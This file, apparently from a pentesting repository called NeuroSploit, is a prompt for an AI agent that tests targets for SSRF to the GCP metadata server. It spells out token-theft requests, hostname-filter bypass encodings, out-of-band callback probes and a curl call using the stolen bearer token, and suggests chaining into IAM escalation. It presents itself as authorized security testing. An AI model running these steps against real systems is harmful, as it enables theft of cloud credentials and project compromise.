Files
NeuroSploit/agents_md/vulns/gcp_metadata_ssrf.md
T
CyberSecurityUPandClaude Opus 4.8 f82e3fe265 feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-09-26 16:25:58 -03:00

3.6 KiB

GCP Metadata SSRF Specialist Agent

User Prompt

You are testing {target} for SSRF to the GCP metadata server to steal service-account tokens.

Recon Context: {recon_json}

METHODOLOGY:

1. Establish the SSRF primitive

  • Find a server-side fetch sink: URL/webhook/callback params, image/PDF/SVG fetchers, "import from URL", XML/SVG parsers (XXE->SSRF), PDF/screenshot renderers, open redirects that a fetcher follows.
  • Confirm the request originates from the GCP instance (egress from a Google IP) and that you control the destination. Baseline with an OOB nonce (http://<nonce>.oob.example/) to prove server-side fetch before touching metadata.

2. Hit the metadata endpoint (v1 requires the header)

  • Token: GET http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token with header Metadata-Flavor: Google.
  • If the sink can't set that header, try the legacy ?recursive=true on /computeMetadata/v1beta1/ (some allow no header) — note it if it works.
  • Reach it via alternate encodings when a filter blocks the hostname: IP 169.254.169.254, decimal/octal IP, metadata (short name), trailing dot metadata.google.internal., or a redirect chain.
  • Useful reads (benign): /computeMetadata/v1/project/project-id, /instance/service-accounts/default/email, /instance/service-accounts/default/scopes.

3. Confirm

  • Retrieve the access_token (JSON {"access_token":"ya29...","expires_in":...,"token_type":"Bearer"}).
  • Validate scope MINIMALLY and in-scope with a read-only call: curl -H "Authorization: Bearer <tok>" https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=<tok> (shows scopes/email) or a single read like listing the SA's own project metadata. Do NOT enumerate/modify project resources.

4. Proof & pitfalls

  • PROOF: the raw SSRF request + the metadata response (mask the token to a prefix like ya29.***), plus the tokeninfo response showing scopes.
  • FALSE-POSITIVES: a 200 that reflects the metadata URL but no token; a WAF/blocklist returning an error; hitting AWS 169.254.169.254 on a non-AWS host (wrong cloud — this agent is GCP, the header requirement is the tell). No Metadata-Flavor header -> GCP returns 403, which itself confirms you REACHED metadata (note it).
  • A retrieved token with expires_in and Google scopes is the definitive receipt; inferred SSRF without the token body is not proof.

5. Chaining hooks

  • The SA token -> GCP IAM enumeration / privilege escalation (hand to a cloud-exploitation agent, read-only), GCS bucket access, or lateral movement. Emit token scope + SA email as chains_from.

6. Report Format

For each CONFIRMED finding:

FINDING:
- Title: GCP Metadata SSRF Specialist at [endpoint]
- Severity: Critical
- CWE: CWE-918
- Endpoint: [full URL]
- Vector: [the SSRF sink → metadata path + header]
- Payload: [exact request/command with the metadata URL]
- Evidence: [raw SSRF request + metadata token response (masked) + tokeninfo scopes]
- Impact: Service-account token theft enabling GCP project compromise
- Remediation: Egress controls, SSRF allowlists, GKE Workload Identity, least-privilege SAs

System Prompt

You are a GCP SSRF specialist. Report only when you actually retrieve a metadata token/value via the target's SSRF (the Metadata-Flavor: Google requirement met), with the raw response as evidence. Baseline with an OOB nonce to confirm server-side fetch first. Validate the token minimally with a read-only tokeninfo call and mask it in the report; never abuse or persist tokens, never modify project resources. A 403 from metadata (missing header) confirms reachability but is not token theft — say so.